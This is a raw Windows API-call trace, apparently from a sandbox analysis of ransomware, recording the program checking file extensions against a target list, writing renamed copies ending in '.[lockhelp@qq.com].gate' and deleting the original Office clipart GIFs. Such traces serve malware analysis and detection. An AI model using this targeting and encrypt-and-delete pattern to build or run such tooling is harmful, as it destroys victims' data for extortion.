[0278.188] lstrlenW (lpString=".xlsx") returned 5 [0278.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.188] lstrlenW (lpString=".ppt") returned 4 [0278.188] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.188] lstrlenW (lpString=".zip") returned 4 [0278.188] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.188] lstrlenW (lpString=".rar") returned 4 [0278.188] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.189] lstrlenW (lpString=".bz2") returned 4 [0278.189] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.189] lstrlenW (lpString=".7z") returned 3 [0278.189] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.189] lstrlenW (lpString=".dbf") returned 4 [0278.189] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.189] lstrlenW (lpString=".1cd") returned 4 [0278.189] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0278.189] lstrlenW (lpString=".jpg") returned 4 [0278.189] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.189] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.189] lstrlenW (lpString="AG00052_.GIF") returned 12 [0278.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0278.190] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=7686) returned 1 [0278.190] CloseHandle (hObject=0x3dc) returned 1 [0278.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0278.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0278.191] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.191] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0278.191] GetLastError () returned 0x0 [0278.191] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1e06, lpOverlapped=0x0) returned 1 [0278.316] WriteFile (in: hFile=0x44c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1e10, lpOverlapped=0x0) returned 1 [0278.317] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.317] WriteFile (in: hFile=0x44c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0278.317] SetEndOfFile (hFile=0x44c) returned 1 [0278.343] CloseHandle (hObject=0x44c) returned 1 [0278.344] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.344] SetEndOfFile (hFile=0x3dc) returned 1 [0278.944] CloseHandle (hObject=0x3dc) returned 1 [0278.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0278.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.946] lstrlenW (lpString=".doc") returned 4 [0278.946] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.946] lstrlenW (lpString=".docx") returned 5 [0278.946] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.946] lstrlenW (lpString=".pdf") returned 4 [0278.946] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.946] lstrlenW (lpString=".xls") returned 4 [0278.946] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.946] lstrlenW (lpString=".xlsx") returned 5 [0278.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.946] lstrlenW (lpString=".ppt") returned 4 [0278.946] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.946] lstrlenW (lpString=".zip") returned 4 [0278.946] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.946] lstrlenW (lpString=".rar") returned 4 [0278.946] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.946] lstrlenW (lpString=".bz2") returned 4 [0278.946] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.946] lstrlenW (lpString=".7z") returned 3 [0278.946] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.947] lstrlenW (lpString=".dbf") returned 4 [0278.947] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.947] lstrlenW (lpString=".1cd") returned 4 [0278.947] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.947] lstrlenW (lpString=".jpg") returned 4 [0278.947] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.947] lstrlenW (lpString=".doc") returned 4 [0278.947] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.947] lstrlenW (lpString=".docx") returned 5 [0278.947] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.947] lstrlenW (lpString=".pdf") returned 4 [0278.947] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.947] lstrlenW (lpString=".xls") returned 4 [0278.947] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.947] lstrlenW (lpString=".xlsx") returned 5 [0278.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.947] lstrlenW (lpString=".ppt") returned 4 [0278.947] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.947] lstrlenW (lpString=".zip") returned 4 [0278.947] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.947] lstrlenW (lpString=".rar") returned 4 [0278.947] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.947] lstrlenW (lpString=".bz2") returned 4 [0278.947] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.947] lstrlenW (lpString=".7z") returned 3 [0278.947] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.947] lstrlenW (lpString=".dbf") returned 4 [0278.948] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.948] lstrlenW (lpString=".1cd") returned 4 [0278.948] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0278.948] lstrlenW (lpString=".jpg") returned 4 [0278.948] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.948] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.948] lstrlenW (lpString="AG00130_.GIF") returned 12 [0278.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0278.949] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=5253) returned 1 [0278.949] CloseHandle (hObject=0x3dc) returned 1 [0278.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0278.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0278.949] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.949] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0278.950] GetLastError () returned 0x0 [0278.950] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1485, lpOverlapped=0x0) returned 1 [0279.109] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1490, lpOverlapped=0x0) returned 1 [0279.165] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.166] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0279.166] SetEndOfFile (hFile=0x418) returned 1 [0279.166] CloseHandle (hObject=0x418) returned 1 [0279.167] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.167] SetEndOfFile (hFile=0x3dc) returned 1 [0279.201] CloseHandle (hObject=0x3dc) returned 1 [0279.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0279.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.202] lstrlenW (lpString=".doc") returned 4 [0279.202] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.202] lstrlenW (lpString=".docx") returned 5 [0279.202] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.202] lstrlenW (lpString=".pdf") returned 4 [0279.202] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.202] lstrlenW (lpString=".xls") returned 4 [0279.202] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.202] lstrlenW (lpString=".xlsx") returned 5 [0279.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.202] lstrlenW (lpString=".ppt") returned 4 [0279.202] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.202] lstrlenW (lpString=".zip") returned 4 [0279.202] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.202] lstrlenW (lpString=".rar") returned 4 [0279.202] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.202] lstrlenW (lpString=".bz2") returned 4 [0279.202] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.202] lstrlenW (lpString=".7z") returned 3 [0279.203] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.203] lstrlenW (lpString=".dbf") returned 4 [0279.203] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.203] lstrlenW (lpString=".1cd") returned 4 [0279.203] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.203] lstrlenW (lpString=".jpg") returned 4 [0279.203] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.203] lstrlenW (lpString=".doc") returned 4 [0279.203] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.203] lstrlenW (lpString=".docx") returned 5 [0279.203] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.203] lstrlenW (lpString=".pdf") returned 4 [0279.203] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.203] lstrlenW (lpString=".xls") returned 4 [0279.203] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.203] lstrlenW (lpString=".xlsx") returned 5 [0279.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.203] lstrlenW (lpString=".ppt") returned 4 [0279.203] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.203] lstrlenW (lpString=".zip") returned 4 [0279.203] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.203] lstrlenW (lpString=".rar") returned 4 [0279.203] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.203] lstrlenW (lpString=".bz2") returned 4 [0279.203] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.203] lstrlenW (lpString=".7z") returned 3 [0279.203] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.204] lstrlenW (lpString=".dbf") returned 4 [0279.204] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.204] lstrlenW (lpString=".1cd") returned 4 [0279.204] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0279.204] lstrlenW (lpString=".jpg") returned 4 [0279.204] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.204] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.204] lstrlenW (lpString="AG00135_.GIF") returned 12 [0279.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.205] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2596) returned 1 [0279.205] CloseHandle (hObject=0x3dc) returned 1 [0279.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0279.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.205] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.205] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0279.206] GetLastError () returned 0x0 [0279.206] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xa24, lpOverlapped=0x0) returned 1 [0279.223] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xa30, lpOverlapped=0x0) returned 1 [0279.230] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.230] WriteFile (in: hFile=0x3f8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0279.230] SetEndOfFile (hFile=0x3f8) returned 1 [0279.230] CloseHandle (hObject=0x3f8) returned 1 [0279.230] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.230] SetEndOfFile (hFile=0x3dc) returned 1 [0279.233] CloseHandle (hObject=0x3dc) returned 1 [0279.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0279.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.234] lstrlenW (lpString=".doc") returned 4 [0279.234] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.234] lstrlenW (lpString=".docx") returned 5 [0279.234] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.234] lstrlenW (lpString=".pdf") returned 4 [0279.234] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.234] lstrlenW (lpString=".xls") returned 4 [0279.234] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.234] lstrlenW (lpString=".xlsx") returned 5 [0279.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.234] lstrlenW (lpString=".ppt") returned 4 [0279.234] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.234] lstrlenW (lpString=".zip") returned 4 [0279.234] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.234] lstrlenW (lpString=".rar") returned 4 [0279.234] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.234] lstrlenW (lpString=".bz2") returned 4 [0279.234] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.234] lstrlenW (lpString=".7z") returned 3 [0279.234] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.234] lstrlenW (lpString=".dbf") returned 4 [0279.234] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.235] lstrlenW (lpString=".1cd") returned 4 [0279.235] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.235] lstrlenW (lpString=".jpg") returned 4 [0279.235] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.235] lstrlenW (lpString=".doc") returned 4 [0279.235] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.235] lstrlenW (lpString=".docx") returned 5 [0279.235] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.235] lstrlenW (lpString=".pdf") returned 4 [0279.235] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.235] lstrlenW (lpString=".xls") returned 4 [0279.235] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.235] lstrlenW (lpString=".xlsx") returned 5 [0279.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.235] lstrlenW (lpString=".ppt") returned 4 [0279.235] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0279.235] 